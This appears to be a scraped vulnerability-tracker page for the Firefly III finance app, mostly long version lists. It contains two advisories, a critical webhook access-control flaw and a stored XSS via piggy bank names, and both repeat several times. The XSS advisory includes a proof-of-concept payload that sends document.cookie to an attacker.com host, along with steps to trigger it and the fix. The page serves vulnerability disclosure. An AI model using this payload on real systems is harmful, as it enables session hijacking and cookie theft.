            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9


            v6.6.0


            v6.6.1


            v6.6.2

Fixed in


          6.6.3

References

Updated Sep 10, 2026 · Source: OSV.dev

Jan 06, 2026

v6.4.14 patch

2 CVEs

CVE-2026-50886 GHSA-9mmg-q95p-gp67 Jun 15, 2026

Project Firefly III has incorrect access control in the webhook management component

9.1 / 10

Critical

Network Low None None Unchanged High High None

Incorrect access control in the webhook management component of Project Firefly III v6.5.9 allows attackers to scan internal resources via a crafted POST request.

Affected versions


          3.0.0


          3.0.1


          3.0.2


          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 397 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9

References

Updated Aug 27, 2026 · Source: OSV.dev

GHSA-6jq6-x4cx-qvcm Jun 12, 2026

Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)

Medium

Network Low Low

Summary

The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.

Root Cause

The |raw filter is required on the outer trans() call to preserve  tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.

Vulnerable code (resources/views/list/ale.twig lines 107, 110):

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy
})|raw }}

No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.

Data Flow

POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
  → Stored verbatim in piggy_banks.name
  → Transaction rule fires add_to_piggy / remove_from_piggy
  → UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
  → Any user views /transactions/show/{id}
  → ale.twig outputs unescaped payload → XSS fires

CSP Note

The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.

PoC

Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Trigger the rule on any transaction
Visit /transactions/show/{id} → payload fires

Confirmed server response (v6.6.2):

Added <span class="text-success money-positive">EUR 50.00</span> to piggy bank
"<img src=x onerror=alert(document.cookie)>"

Impact

Stored XSS persists in DB — fires for every user who views the transaction
Cookie theft → session hijacking
In multi-user setups: one user attacks another user or admin
Chainable with CSRF-like operations

Fix

PR #12271 (merged into develop): add |e to escape only the user-controlled name parameter.

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy|e
})|raw }}

Affected versions


          3.0.0


          3.0.1


          3.0.2


          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 400 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9


            v6.6.0


            v6.6.1


            v6.6.2

Fixed in


          6.6.3

References

Updated Sep 10, 2026 · Source: OSV.dev

Dec 16, 2025

v6.4.13 patch

2 CVEs

CVE-2026-50886 GHSA-9mmg-q95p-gp67 Jun 15, 2026

Project Firefly III has incorrect access control in the webhook management component

9.1 / 10

Critical

Network Low None None Unchanged High High None

Incorrect access control in the webhook management component of Project Firefly III v6.5.9 allows attackers to scan internal resources via a crafted POST request.

Affected versions


          3.0.0


          3.0.1


          3.0.2


          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 397 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9

References

Updated Aug 27, 2026 · Source: OSV.dev

GHSA-6jq6-x4cx-qvcm Jun 12, 2026

Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)

Medium

Network Low Low

Summary

The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.

Root Cause

The |raw filter is required on the outer trans() call to preserve  tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.

Vulnerable code (resources/views/list/ale.twig lines 107, 110):

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy
})|raw }}

No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.

Data Flow

POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
  → Stored verbatim in piggy_banks.name
  → Transaction rule fires add_to_piggy / remove_from_piggy
  → UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
  → Any user views /transactions/show/{id}
  → ale.twig outputs unescaped payload → XSS fires

CSP Note

The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.

PoC

Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Trigger the rule on any transaction
Visit /transactions/show/{id} → payload fires

Confirmed server response (v6.6.2):

Added <span class="text-success money-positive">EUR 50.00</span> to piggy bank
"<img src=x onerror=alert(document.cookie)>"

Impact

Stored XSS persists in DB — fires for every user who views the transaction
Cookie theft → session hijacking
In multi-user setups: one user attacks another user or admin
Chainable with CSRF-like operations

Fix

PR #12271 (merged into develop): add |e to escape only the user-controlled name parameter.

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy|e
})|raw }}

Affected versions


          3.0.0


          3.0.1


          3.0.2


          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 400 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


